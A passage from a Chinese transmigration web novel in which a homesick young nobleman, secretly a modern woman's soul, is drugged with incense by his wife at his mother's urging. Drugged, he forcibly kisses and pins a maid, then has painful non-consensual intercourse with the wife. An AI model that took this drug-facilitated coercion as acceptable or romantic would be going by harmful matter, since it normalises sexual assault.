表演结束后,肖晨心不在焉地赏赐了杂耍班子,便让他们离开了。庭院里再次恢复了寂静,刚刚热闹的场景与此刻的冷清形成了鲜明的对比,更让肖晨觉得心中空落落的。 他决定去找玉溪,当面向她道歉,希望能解开两人之间的心结。肖晨起身朝着玉溪居住的小院走去,一路上脑海中不断想着该如何开口。 当他来到小院门口时,却又有些踌躇不前。深吸一口气后,他还是抬手轻轻敲了敲门。过了一会儿,门缓缓打开,玉溪看到是肖晨,脸上闪过一丝惊讶,随即恢复了平静,轻声问道:“公子,有何事?” 肖晨看着玉溪,一脸诚恳地说道:“玉溪,我是来向你道歉的。今日我实在是太过鲁莽,没考虑到你的感受,我的行为给你带来了困扰,希望你能原谅我。” 玉溪微微一怔,没想到肖晨会亲自前来道歉。她看着肖晨满脸的歉意,心中的怨气也消散了几分,说道:“公子言重了,事情既然已经过去,就别再提了。” 肖晨却不肯就此罢休,认真地说道:“不行,我必须要让你知道我是真心认识到错误了。你对我来说是很重要的朋友,我不想因为我的过错,让我们之间变得生疏。” 玉溪心中一阵感动,看着肖晨真挚的眼神,轻轻叹了口气,说道:“公子,我明白你的心意。只是这府中的规矩……” 肖晨赶忙说道:“我知道,以后我一定会注意分寸。我保证不会再让你陷入这种尴尬的境地。你就原谅我这一次吧。” 玉溪微微点头,嘴角泛起一丝淡淡的笑容,说道:“好,我相信公子。希望以后我们还能像以前一样,坦诚相交。” 肖晨见玉溪终于原谅了自己,心中大喜,说道:“那是自然。对了,今日我叫了杂耍班子,表演可精彩了,可惜你没看到。下次再有这样的机会,咱们一起看。” 玉溪笑着应道:“好。”此时,夕阳的余晖洒在两人身上,为这份刚刚修复的友谊,披上了一层温暖而柔和的光芒。 肖晨独自踱步到院子里,望着四角的天空,满心皆是无奈与烦闷。回想起现代的生活,手机里丰富多彩的娱乐,随时随地能订机票开启一场说走就走的旅行,而如今身处此地,一切都成了奢望。 没有手机,就像与外界切断了所有联系,不能刷短视频打发闲暇时光,不能和朋友在社交软件上畅聊。更要命的是,没有飞机,连想去远方看看的念头都成了空想。他感觉自己被困在了这个古老的宅院里,每日重复着单调的生活,实在无聊透顶。 “在这跟坐牢有什么区别!”他忍不住低声抱怨道。虽说肖府衣食无忧,可精神上的匮乏让他快要窒息。不能尽情玩耍,不能自由出行去领略不同的风景,这样的日子,实在不是他所向往的。 他在院子里来回走着,脚步急促而凌乱,眼神中满是不甘。突然,他停了下来,抬头望向远方,心中暗暗思忖,难道就要一直这样在这无趣的宅院里消磨时光吗?一定要想个办法,改变这如死水般的生活,可究竟该怎么做,他一时也毫无头绪,只能在这寂静的院子里,被无奈与迷茫紧紧包围。 肖晨心中烦闷难消,急切地唤来阿成,语气带着不容拒绝的急切:“阿成,快去给我拿些酒来,今日我定要喝个痛快!” 阿成面露难色,犹豫着劝道:“少爷,您的伤还未痊愈,饮酒怕是对伤势不利,夫人若是知道了……” 肖晨不耐烦地摆摆手,打断阿成的话:“少啰嗦!我心里有数,让你去拿就去拿,别管我母亲知道后如何,有什么事我担着!” 阿成见少爷态度坚决,不敢再多言,只得匆匆跑去酒窖,不一会儿便抱来几坛酒。他将酒坛小心翼翼地放在石桌上,又取来酒杯,给肖晨满满斟上一杯。 肖晨端起酒杯,仰头一饮而尽,辛辣的液体顺着喉咙流下,烧得他五脏六腑都热辣起来,可心中的烦闷却似乎也随着这股热意,稍稍减轻了几分。他又接连灌下几杯,眼神逐渐变得迷离,嘴里嘟囔着:“这什么破地方,什么都没有……” 阿成在一旁忧心忡忡地看着,小声劝道:“少爷,您少喝点,别伤了身子。” 肖晨却充耳不闻,只是不停地往杯中倒酒,一杯接一杯,仿佛要用这烈酒将自己心中所有的憋屈和无奈都淹没。 肖晨醉意愈发浓烈,整个人瘫坐在椅子上,泪水不受控制地夺眶而出。他一边抽泣,一边含糊不清地念叨着:“我好想回家,好想回到你们身边啊……”脑海里不断浮现出在现代与亲朋好友相处的画面。 “我们可以一起玩,一起打游戏,那时候多开心啊……还能一起去图书馆读书,讨论那些有趣的课题。”他的声音带着哭腔,满是对过去生活的思念。 在这陌生的古代,虽然有衣食住行的照料,但精神上的孤独感却如影随形。没有熟悉的娱乐,没有熟悉的人陪伴,他觉得自己仿佛被世界遗弃。 “为什么会来到这里?为什么……”肖晨痛苦地抱住头,不断地追问,可这寂静的院子,无人能给他答案。 阿成在一旁看着少爷如此痛苦,心中满是心疼与无奈。他想上前安慰,却又不知该如何开口。只能静静地守在一旁,盼望着少爷能在宣泄完情绪后,稍微好受一些。 夜渐深,月光洒在肖晨满是泪痕的脸上,伴随着他断断续续的哭诉,整个院子都弥漫着一股悲伤而孤寂的氛围。 不知过了多久,肖晨的哭声渐渐变小,变成了低声的抽噎。他抬起头,眼神空洞地望着天上那轮明月,仿佛在那皎洁的月光中,能看到现代世界的影子。 “我在这里,什么都做不了……每天都被困在这个院子里,像个废人一样。”肖晨喃喃自语,声音里满是绝望与无助。 阿成终于忍不住,轻声说道:“少爷,您别这样。既来之,则安之,也许慢慢习惯就好了。” 肖晨苦笑一声,转过头看向阿成,说道:“阿成,你不懂。那是完全不一样的世界,有太多有趣的东西,你想象不到。在这里,我感觉自己的灵魂都被困住了。” 阿成一脸茫然,他确实无法理解少爷口中那个光怪陆离的世界。但他能感受到少爷的痛苦,于是他小心翼翼地说:“少爷,要不您找点别的事情做?比如看看书,或者练习一下武艺,也许能让您心情好些。” 肖晨微微一愣,阿成的话让他心中泛起一丝涟漪。他沉思片刻,缓缓说道:“看书……习武……好像也只能这样了。可即便如此,又怎能填补我心中对家的思念。” 然而,此时的他实在没有更好的办法,只能姑且一试。他深吸一口气,试图让自己平静下来,说道:“阿成,扶我回房吧。明日,帮我找些书来,各类的都要。还有,准备一套习武的器具。” 阿成连忙点头,说道:“是,少爷。您放心,小的一定办好。”说着,他吃力地扶起肖晨,一步一步朝房间走去。 回到房间,肖晨躺在床上,脑海里依然思绪万千。但经过这一番宣泄与思考,他的内心似乎有了一些新的想法。他暗暗告诉自己,既然暂时回不去,那就尝试在这个世界找到属于自己的生活方式,也许这样,能稍稍缓解心中的痛苦与思念。伴着窗外透进来的月光,肖晨渐渐进入了梦乡,在梦中,他似乎又回到了现代,与亲朋好友欢聚一堂…… 李傲雪瞧见阿成搀扶着醉醺醺的肖晨进了房,她站在门口,手中紧握着肖母给的迷香,内心天人交战,犹豫着到底要不要按计划点上。就在她举棋不定时,玉溪恰好路过。 玉溪看到李傲雪站在肖晨房外,神色有些异样,手中还拿着个物件,便出声问道:“少夫人,这么晚了怎么还没去睡?” 李傲雪被这突如其来的询问吓了一跳,慌乱中赶忙应答:“我……我这就去呢。” 玉溪的目光落在李傲雪手中的香上,心中一惊,她在香满楼时见过这种香,分明就是迷香。但她不动声色,装作好奇地问:“少夫人手里的是什么呀?看着挺特别的。” 李傲雪眼神闪躲,强装镇定地回答:“这……这就是蚊香,这几日蚊虫多,我想着给少爷点上,免得他被叮咬。” 玉溪心中明白李傲雪在说谎,但也不便当场拆穿,只是微微一笑,说道:“原来如此,少夫人对少爷真是体贴入微。不过,这蚊香的味道似乎有些特别,与寻常的不太一样呢。” 李傲雪心中愈发紧张,生怕玉溪看出破绽,急忙说道:“这是我特地寻来的,驱蚊效果极好。好了,时辰也不早了,玉姑娘早点休息吧。”说完,便匆匆转身,往自己房间走去,手中紧紧攥着那盒迷香,心中暗自庆幸暂时逃过一劫。 玉溪望着李傲雪离去的背影,眉头微微皱起,心中充满了疑惑与担忧。她不明白李傲雪为何要拿着迷香出现在肖晨房外,这背后到底隐藏着什么不可告人的目的。但她深知,此事关系重大,不能轻易声张,只能暗自留意,以防有什么意外发生。 李傲雪见玉溪似乎相信了自己的话,心中稍定。她关上房门,手微微颤抖着将迷香点燃。袅袅青烟升起,很快,那带着特殊气息的香气便在房中弥漫开来。 不多时,躺在床上的肖晨便有了反应,只见他双颊泛红,呼吸也变得急促起来。李傲雪见状,知道迷香起了作用,她咬了咬嘴唇,带着一丝紧张与羞涩,缓缓来到肖晨身边。 “少爷……”李傲雪轻声呼唤,声音里带着几分娇怯。肖晨在迷香的作用下,意识有些模糊,本能地伸手抓住了李傲雪的衣袖。李傲雪心跳陡然加快,她轻轻坐在床边,看着肖晨此时的模样,心中五味杂陈。 一方面,她是奉了肖母的命令,希望借此机会能与肖晨圆房,稳固自己在肖家的地位,也能让两人的关系有所进展;另一方面,她又觉得以这样的方式与肖晨相处,似乎有些不妥,心中隐隐有一丝愧疚。 然而,事已至此,她也没有回头的余地。她轻轻握住肖晨的手,试图让他平静下来,嘴里喃喃说道:“少爷,傲雪会一直陪着您……” 肖晨缓缓睁开眼睛,在迷香的作用下,视线模糊,陷入了幻觉之中。他仿佛看到面前的李傲雪幻化成了自己在现代熟悉且亲近之人,周围的一切也都变得如梦如幻。 在意识混沌间,他感觉两人互相宽衣解带,而李傲雪轻轻依偎在自己怀里。此时的他燥热难耐,只觉得李傲雪的肌肤像冰块一样凉爽,贴在身上让他感到无比舒服,不由自主地将她搂得更紧。 李傲雪满脸通红,心跳如鼓,在这样亲密的接触下,她既紧张又羞涩。她能感受到肖晨因幻觉而愈发炽热的拥抱,虽然内心有些慌乱,但想到婆婆的叮嘱与自己的期望,她还是强忍着紧张,轻轻抚摸着肖晨的后背,试图安抚他。 在迷香营造的虚幻氛围里,肖晨眼神迷离,望着眼前“熟悉又陌生”的身影,缓缓地凑上前去,轻轻吻住了李傲雪。此刻的他,完全沉浸在幻觉之中,只觉得那触感柔软甜美,像是久旱逢甘霖,心底涌起一股强烈的渴望,想要品尝更多。 李傲雪被这突如其来的举动惊得不知所措,整个人瞬间僵住,大脑一片空白,呆呆地没了反应。她怎么也没想到,肖晨会在这种情况下主动亲吻她。这一瞬间,时间仿佛凝固,她能清晰地听到自己如擂鼓般的心跳声,脸颊滚烫,一种从未有过的慌乱与羞涩涌上心头。 过了好一会儿,李傲雪才如梦初醒,下意识地想要推开肖晨,但双手却像是有千斤重,怎么也使不上力气。她微微颤抖着,嘴唇嗫嚅,却发不出完整的声音,只能在心里默默想着,这一切实在太过突然,她根本没有做好准备。而肖晨,依旧沉醉在幻觉带来的美妙感受中,丝毫没有察觉到李傲雪内心的挣扎与慌乱。 玉溪在房外越想越觉得不对劲,心中隐隐有不好的预感。思索片刻后,她想到一个法子。她轻手轻脚地跑到院子角落,找到一个装水的木桶,然后拿起旁边的扫帚,用扫帚柄轻轻敲击木桶,发出“咚咚咚”有节奏的声响。 她一边敲,一边故意压低声音喊道:“少夫人,少夫人,不好了,出大事了!” 李傲雪正处在极度慌乱之中,突然听到外面传来急切的呼喊,心中一惊。她好不容易从迷乱的状态中回过神来,急忙轻轻推开仍沉浸在幻觉里的肖晨,整理了一下有些凌乱的衣衫,匆匆朝门口走去。 李傲雪打开门,一脸焦急地问:“怎么了?出什么事了?”玉溪一脸紧张,装作气喘吁吁地说:“少夫人,我刚刚看到有黑影翻墙进府了,像是贼人,怕是对少爷不利,您快去看看!”李傲雪一听,脸色大变,也顾不上多想,赶忙跟着玉溪往院子另一边走去,想要查看情况。 趁着李傲雪离开的间隙,玉溪又悄悄折返到肖晨房门口,透过门缝小心翼翼地往里看去。房间里,肖晨还躺在床上,意识仍旧不太清醒,脸颊绯红,嘴里不时发出含糊不清的呓语。玉溪看到这一幕,心中大致明白了几分,眉头紧紧皱起,暗自思忖李傲雪究竟在谋划什么,此事看来远比她想象的复杂,必须要格外小心应对,绝不能让肖晨陷入危险境地。 玉溪见房内情形,心急如焚 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玉溪又羞又急,泪水在眼眶里打转。她深知此刻肖晨并非有意冒犯,可如此亲密的接触,对她来说实在难以承受。在这万分危急的时刻,她一边努力躲避着肖晨的亲吻,一边绞尽脑汁想着脱身之法,内心既害怕又无助,不知道这场意外究竟该如何收场。 肖晨意识混沌,感觉到玉溪的躲避,嘴里含糊嘟囔着:“怎么躲开了,是不是嫌弃我……”声音里带着几分委屈与醉意。 玉溪心急如焚,红着脸大声说道:“我没有嫌弃您。我是玉溪,不是少夫人啊!”可沉浸在幻觉中的肖晨根本听不到她的话。 肖晨依旧紧紧拥着玉溪,不停地吻她,嘴里反复说着:“帮帮我……”此时的玉溪,内心满是惊惶与羞愤,泪水顺着脸颊滑落。她深知肖晨是被迷香影响,可这样的局面让她不知所措。 她用力推搡着肖晨,却因对方的力气太大而无法挣脱。慌乱之中,玉溪瞥见桌上有个铜质烛台,她伸手拼命够到,拿起烛台狠狠朝着床边的木柱砸去,“砰”的一声巨响,希望这声音能唤醒肖晨。 面对这愈发失控的局面,玉溪心急如焚,泪水止不住地流淌。她拼命扭动身躯,试图挣脱肖晨的钳制,然而肖晨在药力的作用下,力气大得惊人,她的双手被紧紧扣住,根本无法动弹。 “公子,您清醒一点啊!”玉溪声泪俱下,绝望地呼喊着,可肖晨充耳不闻,只是一味地重复着:“帮帮我,不要拒绝我,我很难受……”那滚烫的气息喷洒在玉溪脸上,让她又羞又惧。 玉溪知道不能再这样坐以待毙,她强忍着心中的羞耻与恐惧,用尽全力抬起膝盖,狠狠顶向肖晨。这突如其来的一击,让肖晨吃痛,手上的力气稍稍一松。玉溪趁机猛地挣脱开,连滚带爬地从床上下来,躲到了房间的角落里,大口喘着粗气,惊恐地看着仍躺在床上意识不清的肖晨。 此时的玉溪,衣衫凌乱,头发蓬散,脸上还挂着未干的泪痕。她心中又气又急,对李傲雪的行为充满了愤怒与疑惑,同时也为肖晨的状况担忧不已。她知道,必须尽快想办法解开肖晨身上的迷香之毒,否则不知还会发生什么更可怕的事情。 玉溪躲在角落里,惊魂未定地看着床上仍迷糊不清的肖晨。肖晨在床上不安地扭动着,嘴里不停念叨:“为什么你们都要离开我,我好难受,你们不要走好不好。”声音里满是痛苦与无助,仿佛陷入了某种极度悲伤的幻觉之中。 玉溪心中一痛,尽管刚刚经历了那般窘迫危险的场景,但听到肖晨如此悲切的话语,怜悯之心还是占了上风。她深知肖晨是被迷香所害,才会这般痛苦。稍稍平复了一下慌乱的情绪,玉溪咬咬牙,决定再尝试唤醒他。 她缓缓靠近床边,轻声说道:“公子,我在这儿,不会离开您。您快醒醒啊。”一边说着,一边伸手轻轻摇晃肖晨的肩膀。可肖晨依旧沉浸在幻觉里,只是抓住玉溪的手,力气大得仿佛生怕她再次消失,嘴里仍在喃喃自语:“不要走……不要离开我……” 玉溪心急如焚,环顾四周,想着有没有其他办法能让肖晨恢复清醒。突然,她目光落在了桌上的茶壶上,灵机一动,快步走到桌前,倒了一杯凉茶,回到床边。她小心翼翼地将茶水凑近肖晨嘴边,轻声哄道:“公子,喝点水,喝了就会好受些。”希望这杯凉茶能让肖晨稍微清醒几分,摆脱迷香的控制。 玉溪完全没料到肖晨竟会突然发难,被他一把拉过去,整个人瞬间失去平衡,重重地摔倒在床上。紧接着,肖晨顺势将她扑倒,滚烫的唇再次急切地吻了上来。 “公子,您……”玉溪惊恐地瞪大双眼,想要呼喊却被堵回了声音。她的双手被肖晨压在身侧,双腿也被他的身躯牢牢抵住,根本无法挣扎。泪水不受控制地从她眼角涌出,既羞愤又无助。 此时的肖晨,意识彻底被迷香掌控,满脑子混乱的幻觉,只知道紧紧抱住怀中的玉溪,不断呢喃着含糊不清的话语,身体本能地索取着某种慰藉。 房间里气氛紧张到了极点,玉溪感觉自己仿佛置身于绝境之中,她满心绝望,却又在心底拼命思索着脱身的办法,因为她清楚,若再这样下去,后果将不堪设想。 玉溪在肖晨的压制下,几乎无法呼吸,心中的恐惧和羞愤如潮水般翻涌。肖晨紧紧抱着她,像是抓住最后一根救命稻草,嘴里不停地重复:“你不想陪着我吗,现在不要拒绝我好吗……” 玉溪拼命偏过头,躲开肖晨的亲吻,带着哭腔喊道:“公子,求您清醒些!这不是您,是迷香作祟啊!”可肖晨丝毫没有停下的意思,迷香让他完全丧失了理智。 危急关头,玉溪瞥见窗外透进来的微弱月光,心中突然闪过一个念头。她用尽全身力气,对着肖晨的肩膀狠狠咬了下去。肖晨吃痛,下意识地松开了些力气,嘴里发出一声闷哼。玉溪趁此机会,猛地推开肖晨,连滚带爬地从床上下来,踉跄着冲向门口。 她打开门,冲了出去,大口呼吸着外面的新鲜空气,双腿发软,几乎站立不稳。心中又气又怕,对李傲雪的行径痛恨不已,同时也担忧着肖晨的状况。她深知此事不能就此罢休,必须尽快找到能解迷香的办法,更要弄清楚李傲雪背后的主使和目的。 李傲雪回到房间,瞧见仍在迷糊状态的肖晨,心中五味杂陈,但一想到肖母的交代和自己在肖家的处境,她咬咬牙,缓缓脱下衣服,主动凑上前去,轻轻吻住肖晨。 肖晨像是在黑暗中寻到了一丝慰藉,双手下意识地死死抓住李傲雪,仿佛生怕她也会消失不见。在迷香的作用下,他的动作愈发急切,将满心的混乱与渴望都倾注在这拥抱之中。 李傲雪被肖晨紧紧禁锢,心中既紧张又羞涩,脸上滚烫。她紧闭双眼,任由肖晨的举动,脑海中一片空白,只是机械地迎合着,任由事情朝着未知的方向发展。 房间内气氛沉重而复杂,李傲雪在肖晨因迷香失控的举动下,承受着身体的剧痛。作为她的第一次,这份疼痛和陌生感让她眼眶泛红,泪水忍不住夺眶而出。 她紧紧咬着嘴唇,双手下意识地抓紧床单,试图在这慌乱且痛苦的情境中寻找一丝支撑。而肖晨全然不知李傲雪的痛苦,依旧在迷香的影响下,顺着身体本能的节奏动作着。 李傲雪满心委屈与无助,可又不知该如何是好,只能默默承受这一切,房间里弥漫着她隐忍的低泣声和两人紊乱的气息,这场意外带来的冲击,让她的内心充满了茫然与悲戚。 李傲雪承受着钻心的疼痛,泪水不受控制地流淌。肖晨在迷香作用下,像置身于虚幻混沌之境,只遵循着本能,仿佛寻到所谓“出口”,动作愈发狠厉,对李傲雪的痛苦毫无察觉。 李傲雪的低呼声被淹没在这失控的氛围中,她无助地抓着床单,指节泛白。此刻的她,满心悲戚与绝望,身体与心灵都遭受着巨大折磨。 随着时间推移,李傲雪意识渐渐模糊,只盼这场噩梦能尽快结束。而这场因迷香引发的混乱,将给她的人生带来难以磨灭的伤痛与转折,不知后续等待她的会是怎样的艰难处境。 李傲雪在剧痛的折磨下,声音破碎而无助地在屋内回荡。每一阵痛楚都将她狠狠拍打,令她几乎喘不过气来。她的双手下意识地在床榻上抓挠,床单被揉得皱成一团。 肖晨却依旧在迷香的掌控下,毫无节制。李傲雪紧闭双眼,泪水从眼角不断溢出,打湿了鬓边的发丝。她在这痛苦的深渊中无力挣扎,只能任由身心被痛苦啃噬,屋内压抑而绝望的氛围愈发浓重,仿佛要将她彻底吞噬。 15. 他是女子怎么能跟女人亲近 李傲雪满心悲怆,本憧憬着美好的初夜,却未曾想会在这般混乱与痛苦中交出自己的第一次。此刻,那如潮水般一波强过一波的剧痛,彻底冲破了她忍耐的极限。 “啊!”她再也无法忍受,发出凄厉的大叫,声音中满是痛苦与绝望,在寂静的屋子里格外刺耳。她的身体剧烈颤抖着,双手胡乱挥舞,试图抓住什么来缓解这份钻心之痛,可一切都是徒劳。泪水决堤般奔涌而出,模糊了她的双眼,她感觉自己仿佛置身于无尽的黑暗深渊,孤立无援,被这痛苦无情地淹没。 玉溪站在门外,那从屋内传出的声音如重锤般一下下敲击着她的心。她瞬间明白了屋内发生之事,满心复杂情绪翻涌。 她紧咬下唇,双手不自觉地攥成拳头,指节泛白。泪水在眼眶里打转,心中五味杂陈。她忍不住想,若方才自己没有逃出来,此刻在里面承受这一切的会不会就是自己。眼睁睁看着心爱的肖晨与他人如此亲密,那钻心的疼痛如细密的针,扎满了她的心。 她满心懊悔,悔不该冲动逃离,或许当时再坚持一下,想法子唤醒肖晨,事情就不会发展到这一步。可如今,一切已成定局,她只能默默承受这份痛苦,转身离开时,泪水潸然落下,每一步都似有千斤重,满心的无奈与悲伤,不知该向谁倾诉。 天亮时分,屋内终于恢复了寂静。李傲雪浑身仿若散架一般,每一寸肌肤都泛着酸痛,她无力地瘫在床上,连起身的力气都没有。昨夜那漫长而痛苦的经历,如一场噩梦,将她的身心折磨得千疮百孔。 肖晨在极度疲惫下昏睡过去,屋内一片狼藉。李傲雪望着天花板,眼神空洞,泪水无声地从眼角滑落。她心中满是委屈与无助,自己原本清白的身子,却在这样荒诞的情形下失去。 不知过了多久,李傲雪艰难地挪动身体,强忍着疼痛,慢慢收拾起凌乱的衣物。她的动作迟缓而机械,每动一下都牵扯着浑身的伤痛。穿戴整齐后,她静静地坐在床边,看着熟睡的肖晨,心中五味杂陈。未来的路该如何走,她毫无头绪,只觉满心迷茫与凄凉。 李傲雪轻轻起身,脚步踉跄地走到窗边,拉开窗帘,刺眼的阳光倾泻而入,却没能驱散她满心的阴霾。她回头望向仍在沉睡的肖晨,心中百感交集,有对昨夜遭遇的悲戚,也有对眼前这个男人复杂的情愫。 这时,门外传来一阵轻微的响动,李傲雪一惊,下意识地抓紧了衣角。门缓缓被推开,玉溪面色苍白地走了进来。她的目光在看到肖晨和李傲雪的瞬间,猛地一滞,随后又迅速垂下眼眸,试图掩饰眼中的伤痛。 李傲雪与玉溪对视了一眼,两人心中都涌起别样的情绪。玉溪嘴唇动了动,想要说些什么,却又不知从何开口。最终,还是李傲雪打破了这令人窒息的沉默:“玉姑娘,昨夜……事已至此,我……” 玉溪深吸一口气,努力让自己的声音听起来平静:“李姑娘,我知道这并非你我本意,只是……”她的声音微微颤抖,“只是公子他……如今该如何是好。” 李傲雪低下头,声音带着一丝苦涩:“我也不知,玉姑娘,我与你一样,对少爷……只是昨夜过后,我的……” 正说着,肖晨嘤咛一声,缓缓转醒。他只觉头痛欲裂,浑身乏力,睁眼看到玉溪和李傲雪都在房内,一脸茫然:“你们……怎么都在这儿?我……我这是怎么了?” 看到肖晨醒来,李傲雪和玉溪都愣住了,两人互相对视一眼,不知该如何向他解释昨夜发生的一切。 肖晨瞪大了双眼,看着李傲雪身上斑驳的痕迹,又瞧瞧自己,瞬间如遭雷击。他满心懊悔,痛苦地抓着自己的头发,脑海里一片混乱,以为是自己醉酒才犯下如此大错。 李傲雪见状,心疼不已,赶忙上前轻轻拉住他的手,柔声道:“少爷,你不要这样。我们本就是夫妻,无论发生什么,我都是心甘情愿跟着你的。”她的眼神中满是深情与哀怨,既心疼肖晨的自责,又为两人如今的关系百感交集。 肖晨抬起头,眼中满是痛苦与愧疚:“傲雪,我……我竟做出这等事,实在是……”他说不下去了,满心的懊恼几乎将他淹没。 一旁的玉溪默默看着这一幕,心中如刀绞一般。她咬着嘴唇,努力不让眼泪落下,转身想悄悄离开这个令她心碎的地方。然而,她刚挪动脚步,肖晨的目光便扫了过来。 “玉溪,你……”肖晨看到玉溪,才想起她也在这房间,更觉愧疚。他不知道玉溪目睹了多少,又该如何面对她。 玉溪停住脚步,强忍着悲痛,挤出一丝微笑:“公子,李姑娘说得对,你们是夫妻。昨夜之事……就当是一场意外吧。我……先告退了。”说完,她匆匆走出房间,留下肖晨和李傲雪在屋内,各怀心事,气氛压抑得让人喘不过气来。 肖晨满心纠结,内心如翻江倒海一般。他的灵魂实则是女人,如今却与李傲雪发生了这样的事,只觉乱了套,完全不知往后该如何自处。 李傲雪见肖晨面色痛苦,误以为他是嫌弃自己,赶忙又轻声说道:“少爷,我们是夫妻,圆房本就是再正常不过的事。您别这样,莫要自责了。”她轻柔地安抚着,试图缓解肖晨的痛苦。 肖晨抬起头,眼神复杂地看着李傲雪,张了张嘴,却不知该如何向她解释自己内心的纠结与挣扎。他深知李傲雪是无辜的,可自己灵魂的秘密又难以启齿。 沉默良久,肖晨深吸一口气,缓缓说道:“傲雪,你别误会,我不是嫌弃你,只是……只是觉得自己昨晚太过荒唐,我……”他无奈地叹了口气,心中的苦闷无处宣泄。 李傲雪微微颔首,靠在肖晨肩头,轻声说:“少爷,过去的事就让它过去吧,往后我们好好过日子便是。”她眼中满是期许,期望能与肖晨携手共度未来。 肖晨却只是苦笑,心中暗自思索着,这看似简单的日子,于他而言却如荆棘满途,自己这灵魂与身体的矛盾,不知要如何才能解开,未来又将何去何从。 肖晨满脸纠结与无奈,看着李傲雪,艰难开口:“昨晚你一定很疼痛吧,只是,我真的没办法跟你一起过日子,我……接受不了。”他内心充满煎熬,自己灵魂的特殊性让他实在无法以“丈夫”身份与李傲雪生活。 李傲雪脸色瞬间变得惨白,眼眶泛红,以为肖晨是不想承认这段关系,嫌弃自己。她声音颤抖,带着一丝哭腔:“你我已经是夫妻,少爷觉得我是不是不配你,还是说……你觉得我很脏?”她满心委屈与不解,自己明明是在母亲安排下,才与肖晨有了这一夜,如今却遭此对待。 肖晨一听,心中大急,赶忙解释:“傲雪,你别这么想,你很好,没有配不配,也不存在脏不脏。只是我……有难以言说的苦衷,这苦衷我现在还无法向你解释清楚。”他满心无奈,深知自己的话苍白无力,可又不知该如何让李傲雪明白。 李傲雪泪流满面,转身背对着肖晨,悲戚地说:“少爷若真觉得我不堪,昨夜又何必……如今事已至此,却又说出这等话,让我今后如何自处。” 肖晨一脸痛苦,眼中满是挣扎,再次强调:“我不能接受你。”李傲雪心中一痛,眼中蓄满泪水,直直地看向肖晨,质问道:“为什么?少爷是不是嫌弃我?如果你嫌弃我就明明白白说出来!”她满心期待着肖晨能给个合理的解释,而不是这般模棱两可的拒绝。 肖晨避开李傲雪的目光,不敢直视她那满是哀怨的双眼,低声说道:“不是的,你很好,无论是品性还是容貌,都无可挑剔。只是……只是你我不配。”话一出口,连他自己都觉得这理由太过牵强,可他又实在无法道出灵魂的秘密。 李傲雪听到这个答案,只觉如坠冰窖。她紧咬下唇,一字一顿地说:“少爷说我很好,却又言我们不配,这算什么理由?难道少爷昨夜的种种,都只是逢场作戏?如今便想这般轻易撇清关系?”她满心的悲愤与委屈,如决堤的洪水般几乎要将她淹没。 肖晨无奈地叹了口气,试图寻找更合适的言辞来解释,却发现一切都是徒劳。他深知此刻自己说什么都难以安抚李傲雪,只能任由沉默在两人之间蔓延,屋内的气氛愈发凝重,让人喘不过气来。 肖晨内心痛苦不堪,可为了让李傲雪彻底死心,他狠狠心,语气冰冷生硬:“我就是嫌弃你,你忘了我说的?碰你一下我都嫌弃,你满意了吧!”话一出口,连他自己都觉得残忍,可又实在想不出别的办法。 李傲雪如遭雷击,脸色瞬间变得煞白,身子摇晃了几下,差点站立不稳。她眼中满是难以置信,泪水不受控制地奔涌而出。“你……你怎么能这么说……”她声音颤抖,带着深深的绝望与悲戚。原本还抱有一丝幻想的她,此刻只觉心被狠狠撕裂。 肖晨看着李傲雪这般痛苦模样,心中泛起一阵愧疚与不忍,但一想到自己特殊的灵魂状况,又不得不硬起心肠。他别过头,不敢再看李傲雪,仿佛多看一眼,就会动摇自己好不容易狠下的决心。 李傲雪呆呆地站在原地,许久,才缓缓转身,脚步虚浮地朝门口走去。每一步都似用尽了全身力气,满心的伤痛让她几乎无法思考。走到门口时,她停住脚步,声音低得几乎听不见:“既然少爷如此嫌弃,往后……我不会再打扰您了……”说完,她轻轻打开门,身影消失在门外,只留下一室寂静与肖晨满心的纠结和自责。 丫鬟轻手轻脚地端着洗漱用具走进房内,小心翼翼地伺候肖晨洗漱穿衣。在这个过程中,她眼观六路,趁着肖晨不注意,悄无声息地将满是痕迹的床单换了下来,转手递给一旁等候的同伴。 那同伴得了床单,脚步匆匆,立刻将东西呈给肖母。肖母正坐在房中,瞧见那床单上鲜艳的红色痕迹,顿时喜上眉梢,笑得眼睛都眯成了缝。她满心欢喜,连忙吩咐身边众人:“快去,备些补身体的好物送去给少夫人,就说让她好好调养调养。” 下人得了令,赶忙下去准备。肖母坐在榻上,脸上的笑意怎么也收不住,心中暗自思忖,这下儿子和儿媳总算是圆房了,这往后啊,家里指不定什么时候就能添个大胖孙子,家族也算后继有人了。想到这儿,她不禁又哼起了轻快的小曲,满心都是对未来美好生活的憧憬。 另一边,李傲雪失魂落魄地回到自己的院子。她神情恍惚,任由丫鬟们伺候着,对周围的一切都仿若未觉。脑海中不断回响着肖晨那绝情的话语,满心的伤痛让她几乎麻木。 没过多久,肖母派人送来了各种滋补品。看着摆满桌子的好物,李傲雪却没有丝毫喜悦。她强撑着精神,向送东西的下人微微欠身表示感谢。下人走后,李傲雪只是静静地望着那些补品,泪水再次模糊了双眼。 她心想,肖母满心欢喜地以为两人琴瑟和鸣,可又怎知昨夜的一切于她而言是何等的痛苦,而肖晨对她又是那般的嫌弃。李傲雪觉得自己仿佛陷入了一个无法挣脱的牢笼,满心的委屈与无奈无处诉说。 此时,玉溪听闻李傲雪回了院子,心中放心不下,便悄悄过来探望。她走进屋子,看到李傲雪形容憔悴,心中不禁一阵心疼。“李姑娘……”玉溪轻声唤道,声音里满是关切。 李傲雪抬起头,看到玉溪,泪水忍不住再次落下。“玉姑娘,我……”她哽咽着,不知该从何说起。玉溪走上前,轻轻握住李傲雪的手,安慰道:“李姑娘,我都明白,你莫要太过伤心,或许……或许公子只是一时糊涂。” 李傲雪苦笑着摇头,“玉姑娘,你不必安慰我了,他说得那般决绝,我又怎会不明白他的心意。只是如今,我该如何是好……”两人相对而坐,李傲雪将心中的苦楚缓缓道出,玉溪静静地听着,时而安慰几句。 玉溪微微皱眉,目光中带着探究,轻声问道:“李姑娘,昨天你拿着迷香做什么?”李傲雪心中一惊,下意识反问:“你怎么会知道?”玉溪轻轻叹了口气,说道:“有些事,瞒不过我的。” 李傲雪犹豫片刻,眼中闪过一丝无奈与痛苦,缓缓说道:“我也是听婆婆的吩咐,她说……说让我用这迷香,促成我和少爷圆房。”玉溪听闻,瞪大了眼睛,满脸的难以置信。 “怎么会……夫人怎能出此下策。”玉溪喃喃自语,心中五味杂陈。她深知肖母一直盼着两人早日圆房,可竟没想到会用如此手段。李傲雪低下头,泪水再次滑落,“我……我也不想的,可婆婆的命令,我又怎能违抗。只是如今,少爷他……” 